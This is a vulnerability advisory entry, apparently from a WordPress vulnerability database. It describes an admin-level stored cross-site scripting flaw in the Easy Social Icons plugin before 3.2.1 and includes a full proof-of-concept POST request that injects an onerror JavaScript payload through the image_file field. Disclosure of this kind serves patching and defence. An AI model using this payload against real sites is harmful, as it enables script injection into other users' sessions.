Lucene search

K
wpvulndbQerogramWPVDB-ID:9DA884A9-B4DD-4DE0-9AFA-722F772CF2DF
HistoryMar 21, 2022 - 12:00 a.m.

Easy Social Icons < 3.2.1 - Admin+ Stored Cross-Site Scripting in add icon

2022-03-2100:00:00
qerogram
wpscan.com
14
wordpress
plugin vulnerability
cross-site scripting
form data injection
security issue

EPSS

0.001

Percentile

24.8%

The plugin does not properly escape the image_file field when adding a new social icon, allowing high privileged users to inject arbitrary javascript even when the unfiltered_html capability is disallowed. Version 3.2.0 adressed some of the issues, but was still vulnerable when clicking to edit the contaminated icon.

PoC

POST /wp-admin/admin.php?page=cnss_social_icon_add HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryntci4RWsTIt6kFWd Accept-Encoding: gzip, deflate Cookie: [Admin cookies] Connection: close ------WebKitFormBoundaryntci4RWsTIt6kFWd Content-Disposition: form-data; name=ā€œ_wpnonceā€ 482d64ba75 ------WebKitFormBoundaryntci4RWsTIt6kFWd Content-Disposition: form-data; name=ā€œ_wp_http_refererā€ /wp-admin/admin.php?page=cnss_social_icon_add ------WebKitFormBoundaryntci4RWsTIt6kFWd Content-Disposition: form-data; name=ā€œtitleā€ 55 ------WebKitFormBoundaryntci4RWsTIt6kFWd Content-Disposition: form-data; name=ā€œimage_fileā€ ." onerror=alert``;// ------WebKitFormBoundaryntci4RWsTIt6kFWd Content-Disposition: form-data; name=ā€œurlā€ 1123 ------WebKitFormBoundaryntci4RWsTIt6kFWd Content-Disposition: form-data; name=ā€œsortorderā€ 4 ------WebKitFormBoundaryntci4RWsTIt6kFWd Content-Disposition: form-data; name=ā€œtargetā€ 1 ------WebKitFormBoundaryntci4RWsTIt6kFWd Content-Disposition: form-data; name=ā€œactionā€ update ------WebKitFormBoundaryntci4RWsTIt6kFWd Content-Disposition: form-data; name=ā€œsubmit_buttonā€ ė³€ź²½ģ‚¬ķ•­ ģ €ģž„ ------WebKitFormBoundaryntci4RWsTIt6kFWdā€“

EPSS

0.001

Percentile

24.8%

Related for WPVDB-ID:9DA884A9-B4DD-4DE0-9AFA-722F772CF2DF